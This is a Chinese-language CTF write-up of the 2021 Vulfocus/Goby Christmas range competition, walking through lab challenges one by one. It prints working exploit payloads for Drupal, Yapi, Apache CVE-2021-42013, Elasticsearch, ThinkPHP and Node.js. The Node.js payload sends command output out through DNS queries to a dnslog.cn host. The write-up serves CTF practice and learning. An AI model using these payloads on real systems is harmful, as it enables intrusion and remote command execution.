Vulfocus 圣诞比赛 Wp

匿名者  1046天前

作者:Mr.hao@s1n0pec安全实验室

0x00 声明和背景

声明:

本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。

背景:

2021年圣诞节参加了Vulfocus和Goby联合举办的靶场比赛。比赛前一天下发了短信提醒,比赛持续了4小时。具体更多细节可以到vulfocus的公众号去了解。

比赛时,访问http://jc.vulfocus.fofa.so即可登陆靶场。登录后看到的界面和vulfocus.fofa.so类似,不过少了漏洞名称等。具体界面类似下图:

1.jpg

0x01 drupal

竞赛题目序号:vulfocus/038,vulfocus靶场: drupal 代码执行 (CVE-2018-7600)

单击“启动”,就可以启动比赛的靶场镜像。启动后的界面如下图。我们可以从“映射端口”处,看到内网的80映射到了54645,尝试访问54645端口。

image.png

访问后,我们可以从页面底部看到Powered by Drupal字样。

image.png

可以尝试百度搜索“drupalgetshell”关键词,翻看后就看到这一篇文章,https://blog.csdn.net/limb0/article/details/107122919

使用其中的代码在Burp中跑一下即可

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 
Host: your-ip:8088 
Accept-Encoding: gzip, deflate 
Accept: */*Accept-Language: en 
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT6.1; Win64; x64; Trident/5.0) 
Connection: close 
Content-Type:application/x-www-form-urlencoded 
Content-Length: 103 form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

比赛时,先发whoami,确定www-data的返回位置,然后使用 ls /tmp在对应位置翻查flag就可以了。

image.png

image.png

之后,我们将id换为ls%20/tmp就可以看到flag了。这个/tmp是vulfocus靶场默认的flag存放位置。

image.png

这里的Response中,因为是考试后复现,已经没有flag了。

image.png

当然,这一道题目,我们也可以直接使用Goby来扫描。扫描后,可以看到漏洞验证界面。

image.png

单击验证后,跳出如下界面:

image.png

image.png

之后在cmd处输入命令ls /tmp就可以拿到flag。

0x02 jupyter未授权

竞赛题目序号:vulfocus/052,vulfocus靶场:vulfocus/jupyter_notebook-cve_2019_9644:latest

打开后发现如下界面:

image.png

单击upload按钮右侧的New,出现如下界面:

image.pngimage.png

考试时百度jupyter,主要是参考了如下文档

https://blog.csdn.net/qq_45746681/article/details/108932879

0x03 nostromo 1.9.6

竞赛题目序号:vulfocus/0077,vulfocus靶场:vulfocus/nostromo-cve_2019_16278:lates

打开靶场后看到nostromo,直接搜索“nostromo 1.9.6”

image.png

百度搜索到这一篇,https://blog.csdn.net/x650007/article/details/121487278

image.pngimage.png


Exp在这里:

https://github.com/jas502n/CVE-2019-16278

下载后,带参数运行即可:

image.png

暂时没有想明白的,是为什么在靶场里,burp工具里面只能执行ifconfig,还有sed,但不能执行whoami,ls和id。而用脚本的话,所有的命令都可以执行。

另外:如果是kali里面,需要给sh赋予权限。

更多Nostromo相关的内容:

https://blog.csdn.net/qq_41832837/article/details/109247859

0x04 Yapi

考场靶场地址 vulfocus/0017,vulfocus靶场:vulfocus/yapi:latest

1、信息收集

题目界面可以看到有两个端口,分别对应Yapi和mongodb。

image.png

先访问3000端口对应的外部端口56678。

image.png

页面底部可以看到版本号

image.png

2、漏洞探测

使用Goby扫描一下,发现Yapi RCE,但是这次没有给出验证窗口。

image.png

但是点击“YAPIRCE”红色字样,依然给出了很多有用的信息。下图“参考”那里给出了一个链接。

image.png

按照步骤操作即可。

链接里面给的图片不太清楚,可以试一下这一篇:

https://cloud.tencent.com/developer/article/1851526

或者这一篇:

https://ranjuan.cn/yapi-remote-command-execute/

image.png

image.png

单击右侧的“添加项目”

image.png

单击右侧的“添加接口”

image.pngimage.pngimage.png

单击上图的“高级mock”,在“脚本”中添加如下字符:

image.png

const sandbox= this

const objectConstructor = this.constructor

const FunctionConstructor = objectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

 image.png

单击mock预览中的“mock地址”即可看到whoami的返回结果。

image.pngimage.png

把上面语句中的whoami改为 ls /tmp即可得到flag

image.png

3、注意事项

给定的代码中,如果命令中输入ifconfig会报错“解析出错,请检查”。

image.png

将命令改为whoami或者whoami && ps -ef即可执行。

image.png

经测试靶场环境id,whoami均可以正常返回。

然后执行ls /tmp即可拿到flag。

0x05 Node.js命令执行

1、信息收集

打开靶场后发现是8000的端口,尝试访问。报错。

image.png

打开nmap对端口带-sV参数进行扫描,发现有node.js

image.png

2、利用思路

百度搜索node.js getshell或者node.js RCE。

刚开始都走偏了。后来参考了网上的文档,发现在链接后跟如下地址,可以外带flag:

/api/getServices?name[]=$(ping%20`ls%20/tmp`.54qzaf.dnslog.cn[自己所申请的地址])

image.png

刚开始怎么也不成功,后来发现后面漏了个括号。比赛时,要确认有没有犯类似的低级错误。

很多时候都是端口写错、语法拼写错误等低级错误。

image.png

0x06 Apache Shiro

竞赛靶场地址:vulfocus/025,vulfocus复现靶场vulfocus/shiro-CVE-2016-4437

打开靶场后发现“Welcometo the Apache Shiro”字样。

image.png

Goby 扫描可以确认资产的确包含shiro,但是未返回有漏洞。

image.png

尝试Shiro工具的本地回显功能,可以拿到flag

image.png

具体参考这一篇:https://blog.csdn.net/qq_41901122/article/details/107107237

和这一篇https://www.jianshu.com/p/0114c350373f

0x07 Apache apache-cve_2021_42013

竞赛靶场地址:不记得了,vulfocus复现靶场:apache 远程代码执行 (CVE-2021-42013)

比赛时,打开靶场后发现

image.png

尝试Goby扫描得到组件信息。

image.png

搜索“Apache-Web-Server”,参考这一篇

https://blog.csdn.net/qq_36334464/article/details/120685518

重点参考

curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

使用burp拿到flag

image.png

响应包里看到了flag

image.png

0x08 ElasticSearch

 题目地址 vulfocus/057:latest;vulfocus靶场:elasticsearch 代码执行 (CVE-2015-1427)

打开靶场,看到界面如下:

image.png

版本为1.4.2的elastic search。

搜索后找到一篇合集,https://blog.csdn.net/qq_45742511/article/details/119189967

具体步骤如下:

1、先发送如下post数据包到/website/blog/

{

  "name": "test"

}

image.png

2、再发送如下post数据包到_search?pretty

{"size":1,"script_fields":{"lupin":{"lang":"groovy","script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

image.png

3、再修改为id为ls /tmp,拿到flag

image.png

这道题踩到的坑是必须先发送第一个数据包,否则不会有第二个数据包的效果。

原理上我记得好像在哪里看到过,就是日志里面必须有一些内容才可以后续利用。

0x09 Apache(vulfocus/0021,CVE-2017-12615)

打开靶场,看到如下界面

image.png

应该是Apache类似的漏洞。

看到这一篇,一边看,一边同时打开Goby进行扫描。

https://www.cnblogs.com/confidant/p/15440233.html

image.png

单击“Apache Tomcat“那里的红色字体,发现如下图的界面,可以验证。

image.pngimage.png

看到webshell那里有链接,复制到浏览器即可访问webshell。

image.pngimage.pngimage.png

0x10 Stuts2

vulfocus/0010,CVE-2013-2135

题目已知是struts2,所以尝试使用工具。

image.png

思路1:

使用vulmap 0.8版本的。对welcome.action进行扫描。

参考链接:

image.png

思路2(尚未验证):

Goby +vulmap插件,Goby内有vulmap的插件。

https://zhuanlan.zhihu.com/p/354354264

思路3(尚未验证):

Goby编写自定义规则

https://www.cnblogs.com/micr067/p/14124864.html

0x11 ThinkPhP

vulfocus/006:latest,thinkphp命令执行 (CVE-2018-1002015)

打开靶场后,尝试端口后面输入index.php,可以看到报错:

image.png

打开Goby扫描该试题端口

image.pngimage.pngimage.png

截图时,复现的比赛靶场关了,只好重开了靶场。输入system和ls /tmp可以拿到flag。

image.png

也可以参考这里:

https://www.cnblogs.com/nongchaoer/p/12029478.html

构造拿到flag

http://106.75.119.109:49358/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/tmp


image.png

网上应该还有其他thinkphp的成套工具。POC suite3应该也可以。

https://www.cnblogs.com/defyou/p/15762860.html

xray应该也可以。还没有来得及尝试。

0x12 drupal(cve-2018-7600)

vulfocus/0076,vulfocus/drupal-cve_2018_7600:latest

打开后如下图:

image.png

Goby扫描

image.pngimage.png

和前面类似,不再重复。

image.png


0x13 Struts2

vulfocus/008:latest,struts2-046远程代码执行 (CVE-2017-5638)

最终的解法可能不一定很难,但难的是确认漏洞到底是哪一个。平时练习时,就要多思考,如果是比赛环境,我该如何确认漏洞到底是哪一个。如果没有告诉我这是哪一个漏洞,我该怎么办?

打开后,尝试上传文档。发现标题里面提示struts2,链接里面也有.action,初步判断是struts。

image.png

使用vulmap进行struts2的漏洞探测。发现s2-046

image.png

使用 --list确认是否可以利用。

image.png

使用ls /tmp即可拿到flag。

image.png

0x13 整体比赛需要注意的事项

1、关注比赛群,和其他CTF类似,官方的支持也很重要。合理利用规则,例如可以3个人组队,可以开四个环境。

2、有的靶场比较大,需要耐心等一会。比如druid这一类靶场。

3、靶场登录密码复制的时候,小心空格。

4、比赛环境如果遇到有时候提交flag总也不对,可以先尝试如下界面的“停止”,再“删除”。尝试重新拿一下环境。

image.png

0X14 总体感受

感谢家人对比赛的支持,感谢Vulfocus和goby联合举办的这次比赛。感谢白帽汇。

靶场和真实环境类似,需要平时很多的积累:比如工具,比如思路,比如见识,比如朋友(三个人打比赛和一个人打还是不一样的)。

还有编程能力,也要提升,不能只满足于会用别人的工具。

实战中还要思考,如何用最小的战术动作拿到最终结果。

s1n0pec安全实验室,致力于企业内网安全建设,涉及实战化攻防、渗透测试、CTF比赛、应急响应等多领域安全研究。

最新评论

昵称
邮箱
提交评论